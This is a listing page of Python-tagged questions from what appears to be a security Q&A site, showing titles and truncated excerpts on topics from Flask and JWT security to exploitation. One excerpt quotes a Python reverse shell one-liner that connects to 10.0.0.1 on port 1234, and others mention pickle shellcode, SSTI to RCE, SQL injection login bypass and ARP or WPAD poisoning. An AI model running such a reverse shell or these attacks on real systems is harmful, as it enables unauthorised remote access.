Questions tagged [python]

High-level dynamic language developed by Guido van Rossum, particularly popular for server-side web programming and scripting.

Filter by
Sorted by
Tagged with
0
votes
0answers
13 views

Is it possible to launch man in the middle attacks on ip addresses connected to a different network than the attacker's ip? [duplicate]

As the question stated, I am just wondering if there is a way to do this, perhaps using python or kali linux. I am trying to attack my raspberry pi that is on a different network than my pc (I have ...
1
vote
1answer
39 views

URL query string params Django security

I am new to Django and I am working on a website, where you can filter some articles using a normal GET url query string param. Theese params can be made from some input fields. I have found two ...
-1
votes
0answers
41 views

How to write a client listener script for a reverse shell script?

I found a reverse shell python script from pentestmonkey.net. Here is the script: import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os....
0
votes
2answers
100 views

Pickle Shellcode Import Error

I'm trying to execute pickle shell-code through a download function on a website but I get the following error: <html> <h1>ERROR: Cannot load file</h1> <!-- Traceback (most ...
0
votes
1answer
56 views

Implementing generic login for Zap

I need to build an automated tool that will be able to login to any website supporting basic auth to perform an authenticated scan with OWASP Zap (credentials provided). Here is what I have in mind: ...
0
votes
0answers
75 views

Buffer overflow exploit with python3 : wrong return address written

I'm trying to exploit a simple buffer overflow with gdb and peda, I just want to rewrite the return address with the address of a function of the program. I can easily do it with python2 but it seems ...
0
votes
0answers
97 views

What is the risk of allowing user input in Python's 're' module

Some context I'm currently building an application which lets user's set up dynamic, queries they can execute later. A great addition to this seems like a regex module, in which users can filter ...
0
votes
0answers
47 views

Using Responder.py to WPAD Poisoning

I have set up Responder.py to WPAD Poisoning to display a Login-Prompt but it does not show it on Victims Machine if they surf to example google.com. In Wireshark, i see that the WPAD is resolved to ...
0
votes
1answer
82 views

Can we implement custom algorithms to encode and decode wifi password hashes between Windows 10 and our Router?

Windows 10 has its own way of encrypting hashes, but these can be brute-forced by hashcat. One of our students created 2 of his own password encryption algorithms in python (One for encode, one for ...
0
votes
1answer
154 views

Bypass login with SQL injection with additional password check

I'm having some fun with SQL injection attacks, and I'm currently attempting to bypass a login using SQLi. I think I've figured out the SQL query just fine, however this module also implemented an ...
0
votes
0answers
81 views

Generating a valid payload for RichFaces 3.X

I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload ...
1
vote
2answers
166 views

Most Secure Way to Install Python on Windows 10 [closed]

What is the most secure way to install Python 3.X on Windows 10? I have Windows 10 version 1809, and there are so many ways to install Python on Windows, such as the regular way (CPython), IronPython, ...
-1
votes
1answer
129 views

Detect Proxy and Tor exit nodes from an IP in python

I have a database (hadoop) of the users who access my website (their IPs) and i want to check if those users either use proxy networks or the TOR network and block them. I also want to differentiate ...
1
vote
1answer
106 views

Flask/Jinja2 SSTI to get RCE. <type 'file'> not in object subclasses

I'm trying to get RCE in a simple Flask web app I developed, which is vulnerable to server side template injection (SSTI). RCE is usually obtained by uploading the reverse shell script on the target, ...
0
votes
2answers
78 views

Does HTTP:// to HTTPS:// redirection means strict HTTPS from server

when I try to connect to some websites using http:// (notice the absence of s) , my client end up with https://. I use python requests for this purpose, which simulate a client behavior. It performs ...
1
vote
0answers
46 views

Proper implementation of JWT authentication in mobile app

I'm building a mobile app that connects to a Python Flask API and backend. Currently, I am using JWTs for authentication. The expiration of the token is set to be 6 months in advance. The thing ...
0
votes
1answer
74 views

Is it possible to securely run user defined python code in AWS?

I would like to create an app that accepts users python scripts and executes them as part of its functionality. What I am wondering is if its possible to block I/O, network and other attack vectors so ...
1
vote
1answer
44 views

No put/delete in API, parametrized query, sanitized user input - enough for API security

If my Restful Flask API doesn't need user login, then are the following features enough for the API security: There is only a get method in my API, no put/delete methods. Queries are parametrized ...
0
votes
1answer
66 views

How to make sure certifi python package is up to date

In python's requests module documentation, I find this important recommendation: For the sake of security we recommend upgrading certifi frequently! Q: How can I make sure that my system's certifi ...
1
vote
0answers
171 views

Buffer overflow attack, executing an uncalled function

So, I'm trying to exploit this program that has a buffer overflow vulnerability to get/return a secret behind a locked .txt (read_secret()). vulnerable.c //no edits here #include <stdlib.h> #...
0
votes
1answer
110 views

Trying to understand/use openssl for decryption

There are many questions around this topic, but I haven't found one that explains exactly my issue. I am encrypting data with AES 128 CBC, but using python and pycryptodome (should have used the ...
1
vote
0answers
66 views

Is it secure to start a NTLM handshake not knowing if the server supports it?

I am writing a program in Python using the requests-ntlm library. That library adds support for NTLM in regular requests: import requests from requests_ntlm import HttpNtlmAuth requests.get("http://...
1
vote
0answers
53 views

How to correctly store the users credentials [closed]

I am writing an application that requires a username/password for the first time. I was wondering if the concept code below is a valid and secure way to store user passwords in the database. I hope ...
1
vote
0answers
52 views

Convert python-pkcs11.types.PrivateKey to PrivateKeyInfo or PrivateKey

I'm building a CertificateListBuilder but it requires the python-pkcs11.types.PrivateKey to be an instance of asn1crypto.keys.PrivateKeyInfo or oscrypto.asymmetric.PrivateKey. How to do it? Is it ...
0
votes
0answers
64 views

Is it possible to export WPScan results in excel file making it as an excel report?

I am running a python script which performs a vulnerability scanning using the WPScan tool and the results are saved as a txt file localy. Using that txt file I am not able to play with the results ...
0
votes
1answer
131 views

Safest & Secure Way To Store People's Login Information?

I am looking to create an application that aggregates data from people's online accounts. The application (Frontend made with HTML/CSS/PHP and Backend made with Python) will log into people's ...
1
vote
3answers
310 views

Ken Thompson's compiler hack

I have gone through Ken Thompson's compiler hack paper; can't we just go through the compiler's source code and check for any backdoor, what was the article's point? Can we be sure that there are no ...
0
votes
1answer
255 views

Measuring performance time for TLS handshake [on hold]

I have this sample code to measure TLS handshake performance time. The result I get is: 3.43 ms. By repeating this for 1000 time, I get the minimum time below 1 ms. I use a device with a public IP ...
1
vote
1answer
330 views

Loading a passphrase-protected private SSH key from a file with the cryptography Python module

I am trying to load a passphrase-protected private SSH key from a file using the cryptography Python module. However, I'm not exactly sure how to proceed. The following yields a Crypto.Util.Padding....
0
votes
0answers
61 views

Introduce a SQLi in a testing application

So I was building an application to demonstrate SQL injection via cookies and wrote some code to run SQL statements if the statement are passed within a redir cookie header but when using sqlmap to ...
2
votes
2answers
165 views

Python Pickle Deserialisation attack

I know that untrusted data retrieved from a user should not be serialised/deserialised by an application because it can lead to a remote code execution. What if that input is encoded upon retrieval ...
1
vote
1answer
374 views

Securing Flask admin pages

We've been developing a Flask app for a customer and a part of the agreement was that "customer admins" would be allowed to access Flask admin page to manage users, roles and business entities. The ...
0
votes
0answers
37 views

Is it possible to block non-PyPI requests during pip install?

In 2017 and 2018 there were these infamous stories about malicious packages being uploaded to the PyPI (Python Package Index) which tried to do all sorts of things (collecting and sending data, ...
0
votes
2answers
150 views

SQLi with quote filter?

I'm doing some hacking courses, and in one of the lessons, I have a possible SQLi, but in the Python source code there's an if clause just before the SQL statement, which filters the quote symbol: ...
1
vote
0answers
35 views

Does Windows log program launches?

I wrote a Python script to automate mounting my Veracrypt-encrypted file. The password is provided via standard input (without echoing). os.system('veracrypt /hash whirlpool /l K /p "' + password + ...
0
votes
1answer
27 views

Extensions and Modules and Packages, Oh My! [closed]

How do you know if extensions (e.g., Code, Chrome, Firefox), modules (e.g., PowerShell), or packages (e.g., Python, R) are not malicious? How can you control or monitor that in an environment? Stuff ...
1
vote
0answers
205 views

How to properly store OAuth 2.0 client_id and client_secret in a web application?

In the PoC (Proof of Concept) that I'm currently developing, data from an API is consumed and OAuth 2.0 is required for authentication. The application is already working as expected, the users are ...
1
vote
0answers
217 views

Weird Python script found on a Mac Os X client machine

I was reviewing a Mac Os X machine (a late 2016 MacBook Pro) and I found some weird scripts in the LaunchAgent folder. 8 -rw-r--r-- 1 XX wheel 500 30 Lug 07:18 com.1e1zq.plist 8 -rw-r--r-- 1 XX ...
1
vote
1answer
28 views

Why do processes on servers have socket types associated to the port number? [closed]

Why do some servers have TCP/UDP alongside the port they're listening to. To my understanding TCP and UDP are socket layers, they're methods of determining how the traffic is being sent over the ...
1
vote
0answers
125 views

How can an absolute beginner begin with cyber security? [closed]

I am an absolute beginner in coding/computer science and want to pursue a particular role in cyber security open to all degrees (I am studying chemical engineering). Can anyone recommend what I should ...
2
votes
1answer
171 views

Can't log in dvwa with a simple python program, even though login credentials are good

import requests target_url = "http://127.0.0.1/dvwa/login.php" data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"} ...
4
votes
1answer
2k views

Metasploit is not detecting newly imported python exploit

I have added OpenSSH 7.2p2 - Username Enumeration exploit to Metasploit, which is a python exploit. But after so, it does not detect that exploit every way I tried. I have placed it under the ...
0
votes
0answers
474 views

Are there any tools to detect JPEG steganography? [duplicate]

I am looking for tools which can detect JPEG steganography for Windows or Linux. All the projects I found are either so old that they are missing dependencies and there are no precompiled binaries. ...
2
votes
1answer
224 views

Scanning a binary against YARA rules dictionary

I have found a malware binary, Which i am curious to see what patterns has been found from this file. Also i have a collection of ~1000 ioc's and yara-rule's related to Malwares and RAT's. I used Loki,...
0
votes
1answer
37 views

Hosting statistic tool on heroku with flask secure?

I am working on a statistic tool for our company, millions of datasets. Now I need to upload the project, so all company members can request data from everywhere. I am working with Python 3/Flask and ...
4
votes
1answer
232 views

How to check if Certificate from Certificate Log is revoked?

I have a DB with certs from CTL. (using 'certstream' utility). Here's an example of one set of certificate data: { "all_domains" : [ "benesseresalus.com", "benesseresalus.it", "...
0
votes
1answer
51 views

Python hazmat danger

Is hazmat considered to be secure? Here is a quote from their docs: This is a “Hazardous Materials” module. You should ONLY use it if you’re 100% absolutely sure that you know what you’re doing ...
1
vote
1answer
193 views

Is using JSON a secure way of handling sql queries in python?

The question I will try to articulate this as clearly and best I can: Suppose that I have a python program which connects to a database on a server. Next I ask you to consider that this python ...
1
vote
1answer
59 views

How can I make sure that my Python code cannot be accessed by the user of my web app?

I have a Python Program whose code I would like to protect. For sake of example, let's say I coded a novel function called "add" which does the following: def add(n1, n2): return n1 + n2 I'd ...
0
votes
1answer
188 views

How to force users on my LAN to use a specific DNS server with arp poisoning?

I'm attempting to force all hosts on my LAN to use a specific DNS server to filter certain material, however I'm running into problems. I've had problems in the past trying to configure my router's ...